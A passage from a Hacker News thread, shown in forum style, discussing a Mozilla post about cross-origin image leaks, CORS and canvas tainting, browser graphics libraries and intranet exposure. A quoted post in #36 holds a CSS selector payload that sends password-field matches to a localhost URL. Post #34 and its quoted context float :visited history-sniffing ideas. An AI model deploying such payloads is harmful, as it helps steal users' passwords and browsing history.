Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Leaking silhouettes of cross-origin images

blog.mozilla.org

Post reply on HN
Print view View original

31–40 of 44 posts

Re: Leaking silhouettes of cross-origin images

#31

Post by nemothekid »

JoshTriplett wrote: post #30

I wonder how much of the web would break if non-same-origin images just couldn't be used in canvases, or in any way other than in an img tag that shows the whole unmodified undecorated image? I get why non-same-origin images need to keep working. I'm curious what depends on using non-same-origin images in canvas rendering, and how hard it'd be for those sites to migrate to loading those images first-party.

I can give one data point - you have a site that is hosted via static site generator (something like netlify) and users can upload images (that you probably store on S3). Then you provide a service that requires drawing on those images (maybe a map, or heatmap, or some markup tool). Usually you learn that the canvas is tainted and you adjust CORS accordingly.

Forcing same-site would require a server side proxy (defeating the point of using a CDN).

Re: Leaking silhouettes of cross-origin images

#32

Post by bgirard »

MrStonedOne wrote: post #24
bgirard wrote: post #22

Earlier quoted context omitted.

Sure, but cookies are only a small part of the problem. It's not enough.

reading of cross origin images isn't an attack vector unless credentials were used to request it. Otherwise its no different then doing curl on the attacker's machine.

You're a bit too quick to jump to that conclusion so firmly.

There are other cases. Does you company have internal tools exposed via the intranet? If you happen to know the URI scheme, from say an ex-employee, you're able to exfiltrate information if you get a current employee on VPN to open your page. This becomes a tool in a layered attack. Sure it's careless to have such anonymous endpoint on your intranet. But there's a reason why anonymous images can't be plainly read back.

Re: Leaking silhouettes of cross-origin images

#33

Post by meibo »

saagarjha wrote: post #29
meibo wrote: post #11

Earlier quoted context omitted.

WebKit used to use Skia as well afaik, but switched to Cairo(a FOSS 2d graphics library without any connections to Google) after Google forked WebKit. The same thing happened to V8, Apple made JavaScriptCore to remove dependencies on any Google-owned code after Google stopped contributing to WebKit itself. https://trac.webkit.org/wiki/WebKitGTK/Dependencies

Apple has, as far as I can tell, always used CoreText on macOS.

Yeah, you're right, my bad - It seems I was misremembering about that part, too late to edit now.

Re: Leaking silhouettes of cross-origin images

#34

Post by mlaux »

kuschku wrote: post #10
bennettfeely wrote: post #8

Earlier quoted context omitted.

This doesn't actually work, the value attribute of the input doesn't change as a user types something. With that said, I still think there is a a big discovery yet to be made with browsers leaking users' history via the :visited selector. Only a few CSS properties can be set with it (all related to color). But if there was a way to detect the color difference or timing of the painting that would be a big deal. Possib…

How about an extremely slow to render zalgo text, switching between opacity 0 and 1 depending on visited?

Nice idea. I just tried it - looks like alpha is ignored for colors specified in ::visited and the alpha of the non-visited color is always used.

Re: Leaking silhouettes of cross-origin images

#35

Post by JoshTriplett »

nemothekid wrote: post #31
JoshTriplett wrote: post #30

I wonder how much of the web would break if non-same-origin images just couldn't be used in canvases, or in any way other than in an img tag that shows the whole unmodified undecorated image? I get why non-same-origin images need to keep working. I'm curious what depends on using non-same-origin images in canvas rendering, and how hard it'd be for those sites to migrate to loading those images first-party.

I can give one data point - you have a site that is hosted via static site generator (something like netlify) and users can upload images (that you probably store on S3). Then you provide a service that requires drawing on those images (maybe a map, or heatmap, or some markup tool). Usually you learn that the canvas is tainted and you adjust CORS accordingly. Forcing same-site would require a server side proxy (defea…

Why a server-side proxy, rather than just putting S3 behind the same CDN (which will probably save you bandwidth charges at the same time)?

Re: Leaking silhouettes of cross-origin images

#36

Post by svnpenn »

bennettfeely wrote: post #8
antiman0 wrote: post #3

There are so many interesting ways of leaking page content using timing attacks like these. There are many more ways to leak content without advanced attackvectors, like using CSS to send server request based on selectors: input[type="password"][value$=" "] { background-image: url("http://localhost:3000/+"); } How can we improve the web to make stuff like this more secure? Just setting up CSP (which can prevent the C…

This doesn't actually work, the value attribute of the input doesn't change as a user types something. With that said, I still think there is a a big discovery yet to be made with browsers leaking users' history via the :visited selector. Only a few CSS properties can be set with it (all related to color). But if there was a way to detect the color difference or timing of the painting that would be a big deal. Possib…

Please don't be evil. I use the visited feature every single day, and I would be pissed if browsers had to disable it because some jagoff hacked it.

Re: Leaking silhouettes of cross-origin images

#37

Post by pmontra »

kiliancs wrote: post #28
the_duke wrote: post #20

Earlier quoted context omitted.

Exactly. I've used this for over a year now in FF. It can be a bit annoying with things like recaptcha, and sadly some login systems completely break (like Atlassian SSO), but overall most things work just fine.

Also many sites claim I'm blocking their ads, and sometimes they attempt to prevent me from continue using the site.

If it's a blog or equivalent, with content served in HTML, you can disable JavaScript for that site. The page loads faster, as if we were 20 years back in time and the adblock check doesn't happen. uBlock Origin and uMatrix can do that. If the content is served by JavaScript, sorry.

Re: Leaking silhouettes of cross-origin images

#38

Post by pmontra »

capitainenemo wrote: post #16
zenexer wrote: post #15

Earlier quoted context omitted.

I’m confused. Are you saying a website might actually spit out your current password or what you had just entered when attempting to change it? The former should never, ever be the case; the latter shouldn’t be the case, although it does happen from time to time.

Attack scenario would be a website loading CSS that is controllable by someone malicious. This could be due to ad code or custom themes for part of the site. That CSS would include selectors that would trigger different remote image requests for different partial matches on the value of the input. Based upon what remote URLs were triggered, one could reconstruct all or part of a password. But I get your point. The we…

They could store the hashes of all the prefixes of the password and send them to the client. It's almost as bad as sending the password, because it's easy to brute force the cleartext.

Re: Leaking silhouettes of cross-origin images

#39

Post by gsnedders »

meibo wrote: post #11
jannes wrote: post #4

The most interesting part for me is that Firefox and Chrome use the same drawing library for 2D canvas. Does this mean that all engines use the same library? Or does WebKit use something else? It reminds me of the Web SQL situation where everyone used the same library (SQLite). Eventually, the standard got deprecated because of that.

WebKit used to use Skia as well afaik, but switched to Cairo(a FOSS 2d graphics library without any connections to Google) after Google forked WebKit. The same thing happened to V8, Apple made JavaScriptCore to remove dependencies on any Google-owned code after Google stopped contributing to WebKit itself. https://trac.webkit.org/wiki/WebKitGTK/Dependencies

> WebKit used to use Skia as well afaik, but switched to Cairo(a FOSS 2d graphics library without any connections to Google) after Google forked WebKit.

IIRC, Skia and Cairo were supported simultaneously before the Blink fork.

The Apple ports have always used Core Graphics, provided by the system (or with Apple software—notably iTunes—on Windows).

> The same thing happened to V8, Apple made JavaScriptCore to remove dependencies on any Google-owned code after Google stopped contributing to WebKit itself.

JavaScriptCore far predates V8: it's a fork of KJS dating back to the KHTML/KJS fork into WebCore/JavaScriptCore.

Re: Leaking silhouettes of cross-origin images

#40

Post by kornbattery »

bgirard wrote: post #32
MrStonedOne wrote: post #24

Earlier quoted context omitted.

reading of cross origin images isn't an attack vector unless credentials were used to request it. Otherwise its no different then doing curl on the attacker's machine.

You're a bit too quick to jump to that conclusion so firmly. There are other cases. Does you company have internal tools exposed via the intranet? If you happen to know the URI scheme, from say an ex-employee, you're able to exfiltrate information if you get a current employee on VPN to open your page. This becomes a tool in a layered attack. Sure it's careless to have such anonymous endpoint on your intranet. But th…

I'd say it's bad design to have everything important in the open just because it's behind a firewall; it's got a huge blast radius when something goes wrong.

Securing your services regardless of where they are in the network should be go the go to

Post reply on HN